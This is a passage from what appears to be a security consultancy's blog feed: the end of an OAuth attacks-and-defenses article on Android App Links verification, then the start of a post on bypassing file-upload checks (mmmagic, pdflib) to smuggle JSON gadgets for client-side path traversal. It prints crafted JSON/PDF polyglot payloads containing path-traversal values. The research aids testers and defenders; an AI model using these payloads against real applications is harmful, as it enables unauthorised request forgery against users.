&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;intent&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filter&lt;/span&gt; &lt;span class=&quot;nl&quot;&gt;android:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;autoVerify&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;true&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;action&lt;/span&gt; &lt;span class=&quot;nl&quot;&gt;android:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;android.intent.action.VIEW&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;category&lt;/span&gt; &lt;span class=&quot;nl&quot;&gt;android:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;android.intent.category.DEFAULT&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;category&lt;/span&gt; &lt;span class=&quot;nl&quot;&gt;android:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;android.intent.category.BROWSABLE&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;nl&quot;&gt;android:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;scheme&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;nl&quot;&gt;android:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;scheme&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;nl&quot;&gt;android:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;www.example.com&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;intent&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When the Intent Filter is defined in the above way, the Android system verifies whether the defined host is actually owned by the creator of the app. In detail, the host needs to publish a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/.well-known/assetlinks.json&lt;/code&gt; file to the associated domain, listing the given APK, in order for it to be allowed to handle given links:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;[{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;relation&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;delegate_permission/common.handle_all_urls&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;target&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;namespace&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;android_app&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;package_name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;com.example&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;sha256_cert_fingerprints&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;14:6D:E9:83:C5:73:06:50:D8:EE:B9:95:2F:34:FC:64:16:A0:83:42:E6:1D:BE:A8:8A:04:96:B2:3F:CF:44:E5&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Thanks to this design, rogue applications cannot register their own Intent Filter for the already claimed host, although this would only work if the handled scheme is not custom. For instance, if the application handles the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;com.example.app://&lt;/code&gt; scheme there is no way to give additional priority and the user will have to choose between the apps that implement a handler for that specific scheme.&lt;/p&gt;

&lt;h3 id=&quot;references-12&quot;&gt;References&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://developer.android.com/guide/topics/manifest/data-element&quot;&gt;https://developer.android.com/guide/topics/manifest/data-element&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://developer.android.com/training/app-links/verify-android-applinks&quot;&gt;https://developer.android.com/training/app-links/verify-android-applinks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://developer.apple.com/documentation/xcode/supporting-associated-domains&quot;&gt;https://developer.apple.com/documentation/xcode/supporting-associated-domains&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.ostorlab.co/one-scheme-to-rule-them-all.html&quot;&gt;https://blog.ostorlab.co/one-scheme-to-rule-them-all.html&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-01#section-9.8-8&quot;&gt;https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-01#section-9.8-8&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;summary&quot;&gt;Summary&lt;/h1&gt;

&lt;p&gt;This article provides a comprehensive list of attacks and defenses for the OAuth protocol. Along with the post itself, we are releasing a comprehensive cheat-sheet for developers and testers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Download the OAuth Security Cheat Sheet:&lt;/strong&gt; &lt;a href=&quot;https://doyensec.com/resources/Doyensec_OAuth_CheatSheet.pdf&quot;&gt;Doyensec_OAuth_CheatSheet.pdf&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;As this field is subject to frequent new research and development, we do not claim full knowledge of all intricacies. If you have suggestions on how to improve this summary, feel free to &lt;a href=&quot;mailto:oauthresearch@doyensec.com&quot;&gt;contact the authors&lt;/a&gt;. We would be glad to update this blog post so that it can be considered as a comprehensive resource for anyone interested in the topic.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Bypassing File Upload Restrictions To Exploit Client-Side Path Traversal</title>
   <link href="https://blog.doyensec.com/2025/01/09/cspt-file-upload.html"/>
   <updated>2025-01-09T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2025/01/09/cspt-file-upload</id>
   <content type="html">&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/cspt2.png&quot; alt=&quot;Doyensec CSPT&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 400px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;In my &lt;a href=&quot;https://blog.doyensec.com/2024/07/02/cspt2csrf.html&quot;&gt;previous blog post&lt;/a&gt;, I demonstrated how a JSON file could be used as a gadget for Client-Side Path Traversal (CSPT) to perform Cross-Site Request Forgery (CSRF). That example was straightforward because no file upload restriction was enforced. However, real-world applications often impose restrictions on file uploads to ensure security.&lt;/p&gt;

&lt;p&gt;In this post, we’ll explore how to bypass some of these mechanisms to achieve the same goal. We’ll cover common file validation methods and how they can be subverted.&lt;/p&gt;

&lt;h1 id=&quot;constraint&quot;&gt;Constraint&lt;/h1&gt;

&lt;p&gt;In most scenarios, the gadget file will be parsed in the front-end using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JSON.parse&lt;/code&gt;.
It means that our file must be a valid input for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JSON.parse&lt;/code&gt;.
If we look at the &lt;a href=&quot;https://github.com/v8/v8/blob/refs/tags/13.2.67/src/json/json-parser.cc&quot;&gt;V8 implementation&lt;/a&gt;. A valid JSON input is :&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;a string&lt;/li&gt;
  &lt;li&gt;a number&lt;/li&gt;
  &lt;li&gt;true&lt;/li&gt;
  &lt;li&gt;false&lt;/li&gt;
  &lt;li&gt;null&lt;/li&gt;
  &lt;li&gt;an array&lt;/li&gt;
  &lt;li&gt;an object&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The parser skips starting &lt;a href=&quot;https://github.com/v8/v8/blob/refs/tags/13.2.67/src/json/json-parser.cc#L563C1-L575C2&quot;&gt;WHITESPACE characters&lt;/a&gt; such as :&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;’ ‘&lt;/li&gt;
  &lt;li&gt;‘\t’&lt;/li&gt;
  &lt;li&gt;‘\r’&lt;/li&gt;
  &lt;li&gt;‘\n’&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Also, control characters and double quotes inside a JSON object (key or value) will break the JSON structure and must be escaped.&lt;/p&gt;

&lt;p&gt;Our gadget file must follow these restrictions to be parsed as JSON.&lt;/p&gt;

&lt;p&gt;Different applications validate files using libraries or tools designed to detect the file’s MIME type, file structure or magic bytes. By creatively crafting files that meet these conditions, we can fool these validations and bypass the restrictions.&lt;/p&gt;

&lt;p&gt;Let’s explore how various file upload mechanisms can be bypassed to maintain valid JSON payloads for CSPT while satisfying file format requirements, such as PDFs or images.&lt;/p&gt;

&lt;h1 id=&quot;bypassing-pdf-checks-to-upload-a-json-file&quot;&gt;Bypassing PDF Checks To Upload a JSON File&lt;/h1&gt;

&lt;p&gt;A basic check in many upload mechanisms involves verifying the file’s MIME type. This is often done using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Type&lt;/code&gt; header or by inspecting the file itself. However, these checks can often be bypassed by manipulating the file’s structure or headers.&lt;/p&gt;

&lt;h2 id=&quot;bypassing-mmmagic-validation&quot;&gt;Bypassing mmmagic Validation&lt;/h2&gt;

&lt;p&gt;The &lt;a href=&quot;https://github.com/mscdex/mmmagic&quot;&gt;mmmagic&lt;/a&gt; library is commonly used in Node.js applications to detect file types based on the &lt;a href=&quot;https://github.com/file/file/blob/master/magic/Magdir/&quot;&gt;Magic database&lt;/a&gt;. 
A PDF file can be verified with the following code:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;checkMMMagic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;binaryFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;magic&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Magic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;mmm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;MAGIC_MIME_TYPE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;detectAsync&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;binaryFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Promise&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;reject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;magic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;detect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;magic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;binaryFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;nx&quot;&gt;reject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;nx&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;detectAsync&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;binaryFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;isValid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;application/pdf&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;isValid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;mmmagic: File is not a PDF : &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;technique&quot;&gt;Technique:&lt;/h3&gt;

&lt;p&gt;The library checks for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%PDF&lt;/code&gt; magic bytes. It uses the Magic detection rules defined &lt;a href=&quot;https://github.com/file/file/blob/FILE5_46/magic/Magdir/pdf#L45C1-L45C34&quot;&gt;here&lt;/a&gt;. However, according to the PDF specification, this magic number doesn’t need to be at the very beginning of the file.&lt;/p&gt;

&lt;p&gt;We can wrap a PDF header within the first 1024 bytes of a JSON object. It will be a valid JSON file considered as a PDF by the library. This allows us to fool the library into accepting the upload as a valid PDF while still allowing it to be parsed as JSON by the browser. Here’s an example:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;{ &quot;id&quot; : &quot;../CSPT_PAYLOAD&quot;, &quot;%PDF&quot;: &quot;1.4&quot; }&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;As long as the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%PDF&lt;/code&gt; header appears within the first 1024 bytes, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mmmagic&lt;/code&gt; library will accept this file as a PDF, but it can still be parsed as JSON on the client side.&lt;/p&gt;

&lt;h2 id=&quot;bypassing-pdflib-validation&quot;&gt;Bypassing pdflib Validation&lt;/h2&gt;

&lt;p&gt;The &lt;a href=&quot;https://www.pdflib.com&quot;&gt;pdflib&lt;/a&gt; library requires more than just the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%PDF&lt;/code&gt; header. It can be used to validate the overall PDF structure.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;checkPdfLib&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;binaryFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;pdfDoc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;pdfDoc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PDFDocument&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;binaryFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;pdflib: Not a valid PDF&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;pdfDoc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getPageCount&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;pdflib: PDF doesn&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;t have a page&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;technique-1&quot;&gt;Technique:&lt;/h3&gt;

&lt;p&gt;To bypass this, we can create a valid PDF (for pdflib) that still conforms to the JSON structure required for CSPT.
The trick is to replace &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%0A&lt;/code&gt; (line feed) characters between PDF object definitions with space &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%20&lt;/code&gt;. This allows the file to be recognized as a valid PDF for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pdflib&lt;/code&gt; but still be interpretable as JSON. The xref table doesn’t need to be fixed because our goal is not to display the PDF, but to pass the upload validation.&lt;/p&gt;

&lt;p&gt;Here’s an example:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{&quot;_id&quot;:&quot;../../../../CSPT?&quot;,&quot;bypass&quot;:&quot;%PDF-1.3 1 0 obj &amp;lt;&amp;lt;   /Pages 2 0 R   /Type /Catalog &amp;gt;&amp;gt; endobj 2 0 obj &amp;lt;&amp;lt;   /Count 1   /Kids [     3 0 R   ]   /Type /Pages &amp;gt;&amp;gt; endobj 3 0 obj &amp;lt;&amp;lt;   /Contents 4 0 R   /MediaBox [ 0 0 200 200 ]   /Parent 2 0 R   /Resources &amp;lt;&amp;lt;     /Font &amp;lt;&amp;lt; /F1 5 0 R &amp;gt;&amp;gt;   &amp;gt;&amp;gt;   /Type /Page &amp;gt;&amp;gt; endobj 4 0 obj &amp;lt;&amp;lt;   /Length 50 &amp;gt;&amp;gt; stream BT   /F1 10 Tf   20 100 Td   (CSPT) Tj ET endstream endobj 5 0 obj &amp;lt;&amp;lt;   /Type /Font   /Subtype /Type1   /BaseFont /Helvetica &amp;gt;&amp;gt; endobj xref 0 6 0000000000 65535 f 0000000009 00000 n 0000000062 00000 n 0000000133 00000 n 0000000277 00000 n 0000000370 00000 n trailer &amp;lt;&amp;lt;   /Size 6   /Root 1 0 R &amp;gt;&amp;gt; startxref 447 %%EOF &quot;}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;While this PDF will not render in recent PDF viewers, it will be readable by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pdflib&lt;/code&gt; and pass the file upload checks.&lt;/p&gt;

&lt;h2 id=&quot;bypassing-file-command-validation&quot;&gt;Bypassing file Command Validation&lt;/h2&gt;

&lt;p&gt;In some environments, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file&lt;/code&gt; command or a library based on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file&lt;/code&gt; is used to detect file types.&lt;/p&gt;

